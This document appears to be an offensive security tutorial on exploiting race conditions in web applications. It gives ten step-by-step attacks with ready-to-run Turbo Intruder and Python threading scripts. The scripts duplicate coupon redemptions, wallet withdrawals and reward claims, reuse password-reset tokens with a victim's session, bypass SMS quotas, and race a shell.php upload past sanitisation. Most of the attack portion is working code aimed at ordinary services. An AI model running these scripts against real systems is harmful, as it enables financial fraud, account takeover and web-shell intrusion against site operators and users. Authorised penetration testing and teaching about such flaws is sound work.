Race condition attacks exploit the gap between state validation and state update when multiple requests hit the server simultaneously. If the backend processes these requests without atomic operations or locking, attackers can duplicate transactions, bypass limits, drain balances, or interfere with workflows.
These attacks depend on concurrency, not payloads. The objective is to force the server into executing two or more logically exclusive actions at the same time.
How Race Conditions Form
When a server processes requests, it usually performs:
-
Check a condition
-
Approve or reject
-
Update the database
If two requests reach step 1 before step 3 happens, both are accepted.
This occurs because:
-
no locking
-
non-atomic database operations
-
caching delays
-
asynchronous task execution
-
microservice communication lag
Attackers exploit this by sending many parallel requests targeting a critical operation.
Identifying Vulnerable Operations
Race conditions affect operations that must occur only once, or where state must change exactly once per request.
Common targets:
-
coupon redemption
-
reward claiming
-
wallet withdrawal
-
bank transfer
-
checkout processes
-
stock purchase
-
password reset and email change
-
free trials
-
unique token use
-
privilege elevation workflows
-
file upload + rename or overwrite
-
gift card application
-
subscription plan upgrades
-
referral credits
If the application relies solely on checking the current state without atomic updates, race conditions likely exist.
Practical Recon for Race Conditions
Inspect requests that:
-
modify sensitive values
-
reduce stock or inventory
-
consume one-time items
-
change account details
-
involve payment or credits
-
rely on sequential steps
Then check if:
-
the request returns quickly
-
there is a noticeable delay in updating the backend
-
the frontend enforces limits while backend does not
-
there is no visible locking mechanism
-
transactions appear eventual, not immediate
If any of these hold true, the endpoint may be vulnerable.
Practical Attack Foundations
To exploit a race condition, send many requests in parallel at the same instant. Use:
-
Burp Turbo Intruder
-
Python threading
-
Go concurrency
-
multiple browser tabs
-
professional load-testing tools
Turbo Intruder is the strongest manual tool.
Python scripts allow precise control over concurrency.
Below are full practical exercises for multiple real-world attack types.
Practical Attack 1: Double-Spending Coupons
Target endpoint:
POST /applyCoupon
coupon=SAVE100
Expected behavior: coupon works once.
Step-by-step exploitation
Step 1: Capture the request in Burp Repeater
POST /applyCoupon
Content-Type: application/x-www-form-urlencoded
coupon=SAVE100
Step 2: Send to Turbo Intruder
Turbo Intruder script:
def queueRequests(target, engine):
for i in range(150):
engine.queue(target.req, gate='race')
engine.openGate('race')
Step 3: Observe results
If many responses return:
{"status":"success"}
instead of one success and the rest failures, coupon redemption is vulnerable.
Step 4: Check the balance or discount applied
If discount appears multiple times, double redemption succeeded.
Practical Attack 2: Wallet Transfer Duplication
Endpoint:
POST /withdraw
amount=100
Expected: only one withdrawal if balance < 200.
Step-by-step exploitation
Step 1: Capture request
POST /withdraw
amount=100
Step 2: Create a Python thread attack script
import threading, requests
url = "https://target.com/withdraw"
payload = {"amount": 100}
cookies = {"session": "YOUR_SESSION"}
def hit():
requests.post(url, data=payload, cookies=cookies)
threads = [threading.Thread(target=hit) for _ in range(60)]
[t.start() for t in threads]
Step 3: Run the script and observe the results
If:
-
several withdrawals succeed
-
balance becomes negative
-
multiple “withdrawal success” messages appear
then the backend is vulnerable.
Practical Attack 3: Free Trial Abuse
Endpoint:
POST /startTrial
Expected: one activation per user.
Step-by-step exploitation
Step 1: Intercept the request
POST /startTrial
Step 2: Turbo Intruder burst
for i in range(100):
engine.queue(target.req, gate='trial')
engine.openGate('trial')
Step 3: Verify user profile
If multiple trial entries appear or expiry date extends repeatedly, the system accepts concurrent trial activations.
Practical Attack 4: Password Reset Token Reuse
Token endpoints must be atomic.
Example:
POST /resetPassword
token=ABC123&newPass=test123
Expected: disposable token.
Step-by-step exploitation
Step 1: Capture the reset request
Step 2: Create two types of requests:
Request A: changes password
Request B: uses token again for login or profile access
Step 3: Use threaded attack
import threading, requests
reset_url = "https://target.com/resetPassword"
payload = {"token": "ABC123", "newPass": "xyz123"}
cookies = {"session":"victim_session"}
def send():
requests.post(reset_url, data=payload, cookies=cookies)
for i in range(50):
threading.Thread(target=send).start()
Step 4: If multiple responses show success
Token reuse is possible.
Step 5: Attempt login with token immediately
If accepted, race condition confirmed.
Practical Attack 5: Buying Out-of-Stock Products
Endpoint:
POST /purchase
productId=9&qty=1
Stock: 1 remaining.
Step-by-step exploitation
Step 1: Capture purchase request
Step 2: Turbo Intruder parallel-buy attack
for i in range(120):
engine.queue(target.req, gate='buy')
engine.openGate('buy')
Step 3: Monitor responses
If:
-
multiple purchases succeed
-
backend stock becomes negative
-
cart or order history shows duplicates
inventory logic is unsafe.
Practical Attack 6: Referral / Reward Point Duplication
Endpoint:
POST /claimReward
rewardId=5
Expected: can only claim once.
Step-by-step exploitation
Step 1: Capture request
Step 2: Burst with Python
import threading, requests
url="https://target.com/claimReward"
cookies={"session":"YOUR_SESSION"}
data={"rewardId":5}
def run():
requests.post(url, data=data, cookies=cookies)
for i in range(200):
threading.Thread(target=run).start()
Step 3: Check user account
If reward is added multiple times → vulnerability confirmed.
Practical Attack 7: File Upload Overwrite Race
Two uploads:
-
clean.jpg
-
shell.php
Endpoint:
POST /upload
Expected: sanitized version stored safely.
Step-by-step exploitation
Step 1: Prepare files
-
benign.jpg
-
shell.php disguised as image
Step 2: Send simultaneous uploads
import threading, requests
url="https://target.com/upload"
def upload_file(path):
requests.post(url, files={"file": open(path,"rb")})
threading.Thread(target=upload_file, args=("benign.jpg",)).start()
threading.Thread(target=upload_file, args=("shell.php",)).start()
Step 3: Check which file appears on the server
If the malicious file persists, race condition exists.
Practical Attack 8: Privilege Escalation via Timing
Some systems grant temporary admin privileges:
-
enableAdminView
-
performAction
-
disableAdminView
Attackers send steps 2 and 3 at the same time.
Step-by-step exploitation
Step 1: Capture admin preview request
POST /enableAdminView
Step 2: Capture privileged action request
POST /updateConfig
Step 3: Fire both requests concurrently
If the privileged action executes before privilege is removed, backend is vulnerable.
Practical Attack 9: API Quota Abuse
Example:
POST /api/sendSMS
limit: 3 per day
If rate checks and quota updates are asynchronous:
Step-by-step exploitation
-
send 200 requests in parallel
-
check SMS logs
-
if dozens send → quota bypass
Practical Attack 10: Banking Transfer Race
Endpoints:
POST /prepareTransfer
POST /confirmTransfer
If prepare and confirm run simultaneously:
-
funds may transfer without validation
-
multiple transfers may occur
-
user may transfer more than allowed
Attackers race both endpoints at once.
Practical Detection Strategy
-
send duplicate requests quickly
-
check for inconsistent state
-
repeat on different endpoints
-
stop when server responses become deterministic
-
examine database-visible effects
-
check concurrency behavior on trial accounts
Race conditions rarely appear alone; test every state-changing route.
Intel Dump
-
Race conditions arise when concurrent requests bypass sequential logic.
-
Vulnerable areas include coupons, trials, rewards, wallet transfers, password resets, and stock.
-
Practical exploitation uses Turbo Intruder, Python threading, and parallel request floods.
-
Key patterns include duplicated actions, negative balances, token reuse, file overwrite races, and privilege timing flaws.
-
Attack success is determined by inconsistent backend state or multiple successes where only one should occur.